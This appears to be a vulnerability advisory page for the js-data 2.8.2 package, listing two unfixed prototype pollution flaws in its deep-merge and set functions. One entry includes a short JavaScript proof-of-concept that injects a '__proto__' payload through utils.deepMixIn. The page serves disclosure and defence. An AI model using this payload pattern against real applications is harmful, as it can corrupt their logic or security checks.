org.webjars.bower:js-data@2.8.2 vulnerabilities

  • latest version

    2.10.0

  • first published

    9 years ago

  • latest version published

    7 years ago

  • licenses detected

  • package manager

Direct Vulnerabilities

Known vulnerabilities in the org.webjars.bower:js-data package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

org.webjars.bower:js-data is a Robust, framework-agnostic in-memory data store.

Affected versions of this package are vulnerable to Prototype Pollution via the deepFillIn and the set functions. This is an incomplete fix of CVE-2020-28442.

How to fix Prototype Pollution?

There is no fixed version for org.webjars.bower:js-data.

[0,)
  • H
Prototype Pollution

org.webjars.bower:js-data is a Robust, framework-agnostic in-memory data store.

Affected versions of this package are vulnerable to Prototype Pollution via the deepMixIn and deepFillIn functions.

PoC

const { utils } = require("js-data");
const obj = {};
const source = JSON.parse('{"__proto__":{"polluted":"yes"}}');
console.log("Before : " + obj.polluted);
utils.deepMixIn({}, source);
// utils.deepFillIn({}, source);
console.log("After : " + obj.polluted);

How to fix Prototype Pollution?

There is no fixed version for org.webjars.bower:js-data.

[0,)